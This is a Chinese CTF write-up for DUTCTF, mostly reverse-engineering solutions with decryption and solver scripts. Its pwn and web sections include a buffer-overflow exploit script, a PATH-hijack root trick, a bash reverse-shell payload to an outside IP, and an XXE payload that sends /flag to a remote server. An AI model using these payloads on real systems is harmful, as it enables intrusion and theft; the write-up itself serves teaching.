Reverse
逆向部分题解比较详细,方便大家参考。
signin
签到题。
直接动态调试在字符串比较打断点。
不过
DUTCTF{r3v3R53_1$_\\/3ry_f(_)n&ea5y!}
并不是正确答案。
尝试输入上述flag,发现数据变成了
多了一个\,可以发现是因为程序对输入数据加了一个转义符,也就是说正确flag是
DUTCTF{r3v3R53_1$_\/3ry_f(_)n&ea5y!}
weather?
先定位到主函数
fgets(Buffer, 256, v2);
v8 = strcspn(Buffer, "\n");
if ( v8 >= 0x100 )
sub_7FF764FC12CB();
Buffer[v8] = 0;
sub_7FF764FC128A(Buffer, (__int64)v6);
sub_7FF764FC12B2(Buffer);
system("pause");
sub_7FF764FC1334(v4, &unk_7FF764FCD0F0);
输入数据在Buffer中,sub_7FF764FC12CB是保护程序的,不用管。
v7[v9++] = off_7FF797160000[0][(v11 >> 2) & 0x3F];
v7[v9++] = off_7FF797160000[0][((unsigned __int8)(v12 >> 4) | (unsigned __int8)(16 * v11)) & 0x3F];
v7[v9++] = off_7FF797160000[0][((unsigned __int8)(v13 >> 6) | (unsigned __int8)(4 * v12)) & 0x3F];
v7[v9++] = off_7FF797160000[0][v13 & 0x3F];
}
v16 = v9;
if ( (unsigned __int64)v9 >= 0x80 )
sub_7FF7971512CB();
v7[v16] = 0;
for ( k = 0; k < v9; ++k )
{
v7[k] -= 3;
v7[k] ^= 0x12u;
}
for ( m = 0; m < v9; ++m )
sub_7FF79715121C(2 * m + a2, 3i64, "%02X", (unsigned __int8)v7[m]);
后边可以看到sub_7FF764FC128A函数进行了base64编码之后-3异或0x12转成了hex。
直接提取base64表跟hex数据还原。
恢复base64:
def decrypt(hex_str):
cipher_bytes = bytes.fromhex(hex_str)
recovered_bytes = bytes(((b ^ 0x12) + 3) & 0xFF for b in cipher_bytes)
recovered_base64 = recovered_bytes.decode('utf-8')
print("恢复的Base64是:", recovered_base64)
hex_string = "5E52425D593C5E534D2244746775707067505A724C5324774140747265405A725C43247D4653522072594545"
decrypt(hex_string)
#恢复的Base64是: OCSRN1ODb3YixjeexEKcaD9hVUiczUKcQT9rWDC5cNZZ
DUTCTF{perhaps_today_is_Monday}
假的flag,但是输入假的flag继续调试可以直接看见明文
strcpy(v5, "You are right, and what's the flag on earth now?\n");
strcpy(v6, "Congrats! Correct.\n");
strcpy(v7, "Wrong.\n");
strcpy(Str2, "DUTCTF{sunny_and_secret}");
DUTCTF{sunny_and_secret}
注:事实上不需要解出假的flag,只需要一直调试进入sub_7FF79715A005函数就可以拿到flag,比对实际上在这个函数里进行。
为什么找不到这个函数的交叉引用
你会发现这个函数找不到什么地方被调用了。
如果你在静态状态看这个地址的话,你会发现这个函数变成了一堆数据
在Options->General
将这个改为10,可以看到
这里显示的字节码跟上面的数据不一样,也就是程序在运行过程中进行了动态修改(SMC)。
可参考Self-Modified Code - CTF Wiki↗学习。
在哪里进行的解密
可以在数据下一个断点,看看哪里数据被写入修改了。
__int64 __fastcall sub_7FF797151C50(__int64 a1, unsigned int a2, char a3)
{
__int64 result; // rax
int i; // [rsp+24h] [rbp+4h]
sub_7FF79715139D(&unk_7FF7971650A2);
for ( i = 0; ; ++i )
{
result = a2;
if ( i >= (int)a2 )
break;
*(_BYTE *)(a1 + i) ^= a3;
}
return result;
}
发现是这里,一层一层向上寻找发现似乎是主函数中
sub_7FF797151280();
这句调用了。动态调试发现a3是固定值为3。
可以验证一下:
以A007这个地址为例,原始数据0x4B,异或3,得到0x48,正好对应动态调试结果。故可以分析出程序在运行时这个函数区域异或了3。
MAZE
flag即为路径,由ABC组成。
A代表向上走,B代表向下走,C不动。程序每次都向右走一列。
得分是当前位置对应随机数生成的数组里对应元素的和。
随机数种子可以通过查看汇编得知为0x3CAC。
.text:00007FF63B6E1482 mov [rbp+var_C], 3CACh
.text:00007FF63B6E1489 mov eax, [rbp+var_C]
.text:00007FF63B6E148C mov ecx, eax
.text:00007FF63B6E148E call srand
解密脚本
#include
#include // 包含 rand() 和 srand()
#include // 包含 LLONG_MIN
#include // 包含 memset
// 定义迷宫尺寸
#define MAX_COL 50 // 最大列号
#define MAX_ROW 50 // 最大行号 (根据生成代码 j <= i <= 50,最大行号不会超过 50)
// 存储迷宫得分值的二维数组
// 使用 MAX_COL+1 和 MAX_ROW+1 大小,方便使用 1-based 索引 [1..50][1..50]
int maze_values[MAX_COL + 1][MAX_ROW + 1];
// 动态规划表:dp[c][r] 存储到达 (列 c, 行 r) 的最大累积得分 (不含初始值)
// 使用 long long 防止得分溢出
long long dp[MAX_COL + 1][MAX_ROW + 1];
// 父移动记录表:parent_move[c][r] 存储到达 (列 c, 行 r) 所需的前一步移动 ('A', 'B', 'C')
char parent_move[MAX_COL + 1][MAX_ROW + 1];
int main() {
// 1. 生成迷宫得分数据
// 使用与 C++ 代码相同的种子
srand(0x3CAC);
// 按照生成代码的逻辑填充 maze_values 数组
for (int i = 1; i <= MAX_COL; ++i) { // 列从 1 到 50
for (int j = 1; j <= i; ++j) { // 行从 1 到 当前列号 i
maze_values[i][j] = rand() % 19492025;
}
}
// 2. 初始化动态规划表
// 将 dp 表所有值初始化为一个很小的数,表示不可达
// memset(dp, 0x80, sizeof(dp)); // 一种快速填充 LLONG_MIN 的方法,依赖于 LLONG_MIN 的表示
// 或者使用循环初始化,更安全可靠
for (int i = 0; i <= MAX_COL; ++i) {
for (int j = 0; j <= MAX_ROW; ++j) {
dp[i][j] = LLONG_MIN;
parent_move[i][j] = '\0'; // 初始化移动记录
}
}
// 3. Base cases: 从 (1,1) 移动到第 2 列
int start_row = 1;
int c2 = 2; // 第一步到达第 2 列
// 从 (1,1) 移动 'B' 到 (2,2)
int r2_B = start_row + 1; // 新行号 2
int prev_r_B = start_row; // 前一行号 1
// 检查前一位置 (c2-1, prev_r_B) 即 (1, 1) 是否在生成范围内 (1 <= prev_r <= c-1) 且当前位置 (c2, r2_B) 行号有效 (>= 1) 且在生成范围内 (1 <= r <= c)
if (prev_r_B >= 1 && prev_r_B <= c2 - 1 && r2_B >= 1 && r2_B <= c2) {
dp[c2][r2_B] = maze_values[c2][r2_B];
parent_move[c2][r2_B] = 'B';
}
// 从 (1,1) 移动 'C' 到 (2,1)
int r2_C = start_row; // 新行号 1
int prev_r_C = start_row; // 前一行号 1
// 检查前一位置 (c2-1, prev_r_C) 即 (1, 1) 是否在生成范围内 (1 <= prev_r <= c-1) 且当前位置 (c2, r2_C) 行号有效 (>= 1) 且在生成范围内 (1 <= r <= c)
if (prev_r_C >= 1 && prev_r_C <= c2 - 1 && r2_C >= 1 && r2_C <= c2) {
// 对于第一列,只有一种方式到达某个有效格子,直接赋值即可
dp[c2][r2_C] = maze_values[c2][r2_C];
parent_move[c2][r2_C] = 'C';
}
// 从 (1,1) 移动 'A' 到 (2,0),行号 0 无效,不处理
// 4. 动态规划转移
// 从第 3 列开始,到第 50 列
for (int c = 3; c <= MAX_COL; ++c) {
// 在列 c,行号 r 可能从 1 到 c (根据生成范围 1<=j<=i 和行走时行号的变化推断)
for (int r = 1; r <= c; ++r) {
// 如果当前位置 (c, r) 在迷宫数据生成范围内 (1 <= r <= c)
// 注意:根据生成代码,只有这个范围内有非零值,其他位置可能为 0 或其他初始值
// 伪代码直接使用了索引,我们假设未生成的位置得分是 0 或者 DP 不会通过这些位置过来
// 这里假设我们只关心生成范围内的分数,或者未生成的位置分数是 0
// 如果未生成位置得分是 0,当前格子得分 current_val 就是 maze_values[c][r]
// 如果是 0,则需要在生成时确保这些位置初始化为 0
// 我们的 maze_values 初始化为 0 了,但 DP 状态 LLONG_MIN 处理了不可达
int current_val = maze_values[c][r]; // 当前格子 (c, r) 的得分值
// 考虑从前一列 c-1 如何到达当前位置 (c, r)
// 1. 通过 'A' 移动到达 (c, r)
// 前一位置是 (c-1, r+1)
int prev_r_A = r + 1;
// 检查前一位置 (c-1, prev_r_A) 的行号是否有效 (>= 1) 且在前一列 c-1 的生成范围内 (<= c-1)
if (prev_r_A >= 1 && prev_r_A <= c - 1) {
// 检查前一位置 (c-1, prev_r_A) 是否可达 (DP 值不是初始的 LLONG_MIN)
if (dp[c-1][prev_r_A] != LLONG_MIN) {
long long potential_score = dp[c-1][prev_r_A] + current_val;
// 检查当前位置 (c, r) 的行号是否有效 (>= 1) - r 从 1 开始,总是满足
if (potential_score > dp[c][r]) {
dp[c][r] = potential_score;
parent_move[c][r] = 'A';
}
}
}
// 2. 通过 'B' 移动到达 (c, r)
// 前一位置是 (c-1, r-1)
int prev_r_B = r - 1;
// 检查前一位置 (c-1, prev_r_B) 的行号是否有效 (>= 1) 且在前一列 c-1 的生成范围内 (<= c-1)
if (prev_r_B >= 1 && prev_r_B <= c - 1) {
// 检查前一位置是否可达
if (dp[c-1][prev_r_B] != LLONG_MIN) {
long long potential_score = dp[c-1][prev_r_B] + current_val;
// 检查当前位置 (c, r) 的行号是否有效 (>= 1)
if (potential_score > dp[c][r]) {
dp[c][r] = potential_score;
parent_move[c][r] = 'B';
}
}
}
// 3. 通过 'C' 移动到达 (c, r)
// 前一位置是 (c-1, r)
int prev_r_C = r;
// 检查前一位置 (c-1, prev_r_C) 的行号是否有效 (>= 1) 且在前一列 c-1 的生成范围内 (<= c-1)
if (prev_r_C >= 1 && prev_r_C <= c - 1) {
// 检查前一位置是否可达
if (dp[c-1][prev_r_C] != LLONG_MIN) {
long long potential_score = dp[c-1][prev_r_C] + current_val;
// 检查当前位置 (c, r) 的行号是否有效 (>= 1)
if (potential_score > dp[c][r]) {
dp[c][r] = potential_score;
parent_move[c][r] = 'C';
}
}
}
}
}
// 5. 找到第 50 列 (MAX_COL) 的最大得分和对应的结束行号
long long max_score = LLONG_MIN;
int end_row = -1;
for (int r = 1; r <= MAX_ROW; ++r) { // 在第 50 列,可能的行号从 1 到 50
if (dp[MAX_COL][r] != LLONG_MIN && dp[MAX_COL][r] > max_score) {
max_score = dp[MAX_COL][r];
end_row = r;
}
}
// 检查是否找到了有效的路径终点
if (end_row == -1) {
printf("错误:无法到达迷宫的终点 (第 %d 列)。\n", MAX_COL);
return 1;
}
// 6. 回溯路径
char path[MAX_COL]; // 路径长度是 49 步 (从列 2 到列 50)
int path_index = MAX_COL - 2; // 路径数组索引从 0 到 48,从后往前填充
int current_c = MAX_COL; // 从终点列开始回溯
int current_r = end_row; // 从终点行开始回溯
// 回溯 49 步,从第 50 列回到第 2 列
while (current_c > 1) {
char move = parent_move[current_c][current_r];
path[path_index--] = move; // 将当前步的移动加到路径前面
// 根据移动反向计算前一步的行号
if (move == 'A') {
current_r += 1; // 如果当前位置是通过 'A' (上移) 到达的,那么前一步在当前行的下一行
} else if (move == 'B') {
current_r -= 1; // 如果当前位置是通过 'B' (下移) 到达的,那么前一步在当前行的上一行
}
// 如果 move 是 'C' (不动),则前一步在同一行 (current_r 不变)
current_c -= 1; // 回溯到前一列
}
path[MAX_COL - 1] = '\0'; // 路径字符串以 null 终止
// 7. 输出结果
printf("最大累积迷宫得分 (不含初始值): %lld\n", max_score);
printf("最优路径 (Flag 内容): %s\n", path);
printf("路径长度: %zu\n", strlen(path)); // 验证路径长度是否为 49
return 0;
}
tulip
去除花指令
去除花指令,shift+F12根据字符串定位到主函数。
建议网上搜搜花指令的视频看,有的文字教程过于潦草了,可能难以理解。
然后注意总结一下不同类型的花指令,下文简单说了jz+jnz类型的。
稍微了解一下汇编,对理解花指令有很大帮助。
这里存在一个花指令。jz+jnz组合实际上必定跳转到F+1的位置,所以其实从06B-06F都没用,选中这几行右键nop掉。还有一个小点注意一下
你需要先按D转换成data类型再nop,因为ida把06F和070合在一起看了,需要d转换成data,nop掉,再按c转成code
然后又出来个这么个玩意,继续处理以此类推。nop完之后选在函数头按p重新分析。
此外,我之前在网上还发现了一个小插件,NoMoreFlower,能去除简单的花指令。
解密
解密就相当简单了,发现函数sub_AD48D0其实就是TEA加密。
提出来密文,然后解密就行。
import struct
DELTA = 1131796 # 0x114514
ROUNDS = 32
def decrypt_block(data_block, key):
# 将数据块解析为两个 32 位无符号整数 (小端序)
v4, v3 = struct.unpack('<II', data_block)
# 将密钥解析为四个 32 位无符号整数 (小端序)
k0, k1, k2, k3 = struct.unpack('<IIII', key)
v6 = DELTA * ROUNDS
for i in range(ROUNDS):
mask = 0xFFFFFFFF
term3 = (k3 + (v4 >> 5)) & mask
term2 = (v6 + v4) & mask
term1 = (k2 + (v4 << 4)) & mask
v3 = (v3 - (term3 ^ term2 ^ term1)) & mask
term3 = (k1 + (v3 >> 5)) & mask
term2 = (v6 + v3) & mask
term1 = (k0 + (v3 << 4)) & mask
v4 = (v4 - (term3 ^ term2 ^ term1)) & mask
v6 = (v6 - DELTA) & mask
return struct.pack('<II', v4, v3)
v8_list = [
287454020,
1432778632,
(-1716864052) & 0xFFFFFFFF, # 转换为无符号 32 位
(-571539695) & 0xFFFFFFFF # 转换为无符号 32 位
]
key_bytes = struct.pack('<IIII', *v8_list)
v7_list = [
849219247, 1782154081, 839590394, 570472433, 772302708, 1961553718,
(-386987485) & 0xFFFFFFFF, (-1345016732) & 0xFFFFFFFF, (-1829160445) & 0xFFFFFFFF,
(-1283810305) & 0xFFFFFFFF, 1022169708, (-169867983) & 0xFFFFFFFF
]
encrypted_data_bytes = struct.pack('<IIIIIIIIIIII', *v7_list)
decrypted_flag_bytes = b''
for i in range(0, len(encrypted_data_bytes), 8):
block_to_decrypt = encrypted_data_bytes[i : i + 8]
decrypted_block = decrypt_block(block_to_decrypt, key_bytes)
decrypted_flag_bytes += decrypted_block
print("\n解密 v7 获得 Flag:")
print(f"解密后的 Flag (bytes): {decrypted_flag_bytes.hex()}")
print(f"解密后的 Flag (尝试 ASCII): {decrypted_flag_bytes}")
WoAiShiinaMahiru
WASM题目,非常简单。
使用命令
wasm-objdump -x 1.wasm
即可查看Data。
这是一个标准的base64,很快得到答案。不需要逆向分析。
real_WoAiShiinaMahiru
这是上一题的升级版,网上搜索WASM调试,先安装一个浏览器插件
C/C++ DevTools Support (DWARF) - Chrome 应用商店↗
然后开始打断点调试。
简单分析可知flag长度为44,先输入44个0试试。监控一下内存变化。
经过反复测试,loop $label0是在对加密后的flag进行比对。
在这里断住,看内存
结合代码和调试得知,这页先存的是一堆0,即为输入原文,然后是原文加密后的数据,然后是比对的密文。
将源码给AI分析其实可以看出来这里是一个变种的RC4。
到这里,思路就比较清楚了,可以爆破,也可以直接计算出来明文。
法1:爆破
核心在于逐位更改输入,跟密文比对。这就需要用编程方法获取内存中数据。
查找资料发现以下代码可以读取内存:
const offset = ptr + 0x30;
const length = 44;
const memoryData = readWasmMemory(offset, length);
console.log(`读取到 (ptr + 0x30) 开始的内存:`, memoryData);
代码如下
JS代码
import init from './WoAiShiinaMahiru.js';
async function main() {
const wasm = await init();
const { check_flag, alloc, memory } = wasm;
function readWasmMemory(offset, length) {
const memview = new Uint8Array(memory.buffer);
// 使用 slice 创建一个副本,避免原始 buffer 被意外修改影响结果
const data = memview.slice(offset, offset + length);
return data;
}
async function attemptFlag(flag) {
const encoded = new TextEncoder().encode(flag);
const ptr = alloc(encoded.length);
new Uint8Array(memory.buffer, ptr, encoded.length).set(encoded);
// 调用 check_flag,注意:这里我们没有使用它的返回值,假设逻辑依赖于内存比较
check_flag(ptr, encoded.length); // 忽略返回值 result
// 定义偏移量和长度 (与原代码保持一致)
const encryptedOffset = ptr + 0x30;
const compareOffset = ptr + 0x60;
const length = 44; // 假设 flag 长度和比较长度都是 44
// 从 WASM 内存读取数据
// !! 注意:读取操作应该在 check_flag 执行后进行
const encryptedData = readWasmMemory(encryptedOffset, length);
const compareData = readWasmMemory(compareOffset, length);
// 注意:WASM 的内存管理,理论上 alloc 的内存在使用后可能需要 dealloc,
// 但在这个爆破场景下,每次调用 alloc 可能问题不大,除非内存泄漏严重。
// 如果 WASM 提供了 free/dealloc 函数,最好在读取完数据后调用。
// 返回读取到的数据,注意原代码返回的 result 被忽略了
return { encryptedData, compareData };
}
async function bruteForceFlag() {
const flagLength = 44; // 假设 flag 长度为 44
let currentFlag = "";
// 确保字符集包含 flag 可能的所有字符
const possibleChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}-"; // 扩展字符集以防万一
document.getElementById("result").textContent = "开始自动爆破...";
for (let i = 0; i < flagLength; i++) {
let foundChar = null;
for (const char of possibleChars) {
// 构造测试 flag: 当前已知部分 + 测试字符 + 填充 (使用 'A' 或其他字符)
const testFlag = currentFlag + char + "A".repeat(flagLength - currentFlag.length - 1);
const { encryptedData, compareData } = await attemptFlag(testFlag);
// --- 修改后的比较逻辑 ---
let match = true;
// 只比较到当前尝试的字符位置 i (包含 i)
// 同时检查索引是否越界
if (i < encryptedData.length && i < compareData.length) {
for (let j = 0; j <= i; j++) {
if (encryptedData[j] !== compareData[j]) {
match = false;
break;
}
}
} else {
console.error(`错误:尝试比较的索引 ${i} 超出了获取数据的长度 (${encryptedData.length}, ${compareData.length})`);
match = false; // 无法比较,认为不匹配
}
// --- 比较逻辑结束 ---
if (match) {
currentFlag += char;
foundChar = char;
console.log(`找到第 ${i + 1} 位: ${char}, 当前 Flag: ${currentFlag}`);
document.getElementById("result").textContent = `正在爆破... (${currentFlag.length}/${flagLength}) ${currentFlag}`;
break; // 找到当前位置的字符,跳出内层循环
}
} // 内层循环结束 (尝试所有字符)
if (!foundChar) {
console.log(`爆破失败,在位置 ${i} 无法找到匹配的字符。`);
document.getElementById("result").textContent = `❌ 爆破失败,在位置 ${i} 无法找到匹配字符。当前进度: ${currentFlag}`;
return; // 终止爆破
}
} // 外层循环结束 (遍历所有位置)
if (currentFlag.length === flagLength) {
console.log("🎉 爆破成功!Flag 为:", currentFlag);
// 最后用完整的 flag 验证一次 (可选,但建议)
const finalAttempt = await attemptFlag(currentFlag);
let finalMatch = true;
if (flagLength <= finalAttempt.encryptedData.length && flagLength <= finalAttempt.compareData.length) {
for (let j = 0; j < flagLength; j++) {
if (finalAttempt.encryptedData[j] !== finalAttempt.compareData[j]) {
finalMatch = false;
break;
}
}
} else {
finalMatch = false; // 长度不足
}
if (finalMatch) {
document.getElementById("result").textContent = `🎉 爆破成功!Flag 为: ${currentFlag}`;
} else {
document.getElementById("result").textContent = `🤔 爆破完成,但最终验证失败?Flag 可能为: ${currentFlag}`;
console.warn("爆破声称成功,但最终验证时内存比较不完全匹配。");
}
} else {
// 理论上如果中间没有 return,这里不应该执行
document.getElementById("result").textContent = "❌ 爆破未完成,但循环结束了?";
}
}
document.getElementById("verifyButton").addEventListener("click", async () => {
const verifyButton = document.getElementById("verifyButton");
const resultDiv = document.getElementById("result"); // 获取显示结果的元素
verifyButton.disabled = true;
verifyButton.textContent = "爆破中...";
resultDiv.textContent = "初始化 Wasm 并准备爆破..."; // 初始提示
try {
await bruteForceFlag(); // 执行爆破
} catch (error) {
console.error("爆破过程中发生错误:", error);
resultDiv.textContent = `❌ 爆破过程中发生错误: ${error.message}`;
} finally {
// 无论成功、失败或出错,都重新启用按钮
verifyButton.disabled = false;
verifyButton.textContent = "开始验证";
}
});
}
// 调用 main 函数启动逻辑
main().catch(err => {
console.error("初始化或执行 main 函数时出错:", err);
// 可以在页面上显示错误信息
const resultDiv = document.getElementById("result");
if (resultDiv) {
resultDiv.textContent = `❌ 初始化失败: ${err.message}`;
}
});
法2:动态调试
把输入44个0的加密弄下来记为enc1,对比密文弄下来ans。
其实flag就是enc1每位异或0x30(0的ASCII)然后异或ans每位。
原因请参考RC4加密流程。
enc1 = [92, 167, 143, 28, 191, 33, 18, 99, 99, 76, 192, 9, 249, 152, 157, 240, 225, 216, 101, 233, 100, 60, 232, 110, 152, 187, 16, 137, 51, 167, 6, 54, 216, 4, 25, 93, 145, 166, 123, 216, 101, 116, 184, 166]
ans = [40, 194, 235, 111, 219, 87, 89, 101, 107, 76, 146, 13, 255, 202, 152, 237, 227, 139, 48, 186, 121, 52, 232, 110, 205, 166, 25, 136, 49, 175, 27, 52, 217, 1, 24, 8, 195, 162, 127, 139, 54, 34, 191, 235]
for i in range(len(ans)):
print(chr(ans[i]^enc1[i]^0x30), end="")
#DUTCTF{680b46b5-2cec-800e-9128-2151eb44ccf7}
逆向题目的题解就到这里了
MISC
Signin
W栅栏密码。
DUTCTF{W31c0mE_TO_2o2s_DuTCTf_DuTEr5!}
特定低手
谷歌识图。
找到一个网站
很像,谷歌地图搜搜这个药店,附近的建筑。然后得出结果。
1710032
Terminal
里面/tmp有个文件whatisthis,查看发现会以root权限执行ps命令,
建立一个脚本,名字叫ps,然后内容设成ls /root,发现flag压缩包,取出来,然后得到flag。
Pwn
minesweeper
read_int
函数的核心在于,它从标准输入一次性读入了 0x10(16)字节的数据到一个只有 4 字节空间的缓冲区 buf
中,造成了典型的栈上缓冲区溢出漏洞:
unsigned int buf; // 4 字节缓冲区,在栈上 [rbp-4]
read(0, &buf, 0x10uLL); // 不校验长度,直接读入 16 字节
return buf;
from pwn import *
context (os = 'linux',arch = 'amd64' , log_level='debug')
#p = process('./sweeper')
p = remote('210.30.97.133',10167)
p.sendline('3')
p.sendline('3')
p.sendline('3')
payload1 = b'a'*12 + b'\x46'
p.send(payload1)
p.interactive()
kernel_master
根据提示,是ACTF的非预期解。找到原来的脚本修改一下。
#!/usr/bin/env python3
"""
@File : exp.py
@Author : ckyan
@Date : 2025-04-26 17:39:22
"""
"""
GitHub:
https://github.com/c0mentropy/ckyan.pwnScript
Help:
python3 exp.py --help
python3 exp.py debug --help
python3 exp.py remote --help
Local:
python3 exp.py debug --file ./pwn
Remote:
python3 exp.py remote --ip 127.0.0.1 --port 9999 [--file ./pwn] [--libc ./libc.so.6]
python3 exp.py remote --url 127.0.0.1:9999 [--file ./pwn] [--libc ./libc.so.6]
"""
"""
Usage:
python3 exp.py re -u "61.147.171.105 54595"
"""
from ckyan.pwnScript import *
def exp():
pandora_box.init_script()
elf = pandora_box.elf
libc = pandora_box.libc
p = pandora_box.conn
sla("/ $ ", "mv bin a")
sla("/ $ ", "/a/busybox mkdir bin")
sla("/ $ ", "echo '/a/busybox cat /flag' > /bin/poweroff")
sla("/ $ ", "/a/busybox chmod 777 /bin/poweroff")
sla("/ $ ", "exit")
pattern_flag_from_data(b"flag", ra(timeout=2))
exp()
WEB
Real_E2_J5!
在validate里多传一个参数 “adminSecret”: “pwned”,然后http://<目标>/admin?secret=pwned就可以拿到flag。
Editor
反弹shell。
先看源代码登陆一下admin密码8个6.
然后editor这里POST,payload为:
{
"name": "javascript",
"script": "var aa = new java.beans.Customizer { setObject: eval }; aa.object = \"java.lang.Runtime.getRuntime\\50\\51.exec\\50'bash -c $@|bash 0 echo bash -i >& /dev/tcp/101.200.148.158/9999 0>&1'\\51\";"
}
一开始怎么也不行,后来发现是我自己服务器有点问题反弹不过去()
Real_upload?
思路大概是上传一个name.xml,然后文件名设成../../../../../tmp/name.xml,让他传到指定位置,然后访问/hello触发xml解析,读取flag,把flag外带出去。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % d SYSTEM "file:///flag"> <!ENTITY % external_dtd SYSTEM "http://4.216.216.238:80/exfil.dtd"> %external_dtd;
%c; ]>
<data>TriggerPayload</data>
服务器端的如下:
<!ENTITY % file_content "%d;">
<!ENTITY % send_data "<!ENTITY % exfiltrate SYSTEM 'http://4.216.216.238:8000/?data=%file_content;'>">
%send_data;
%exfiltrate;
然后开个server收flag就行。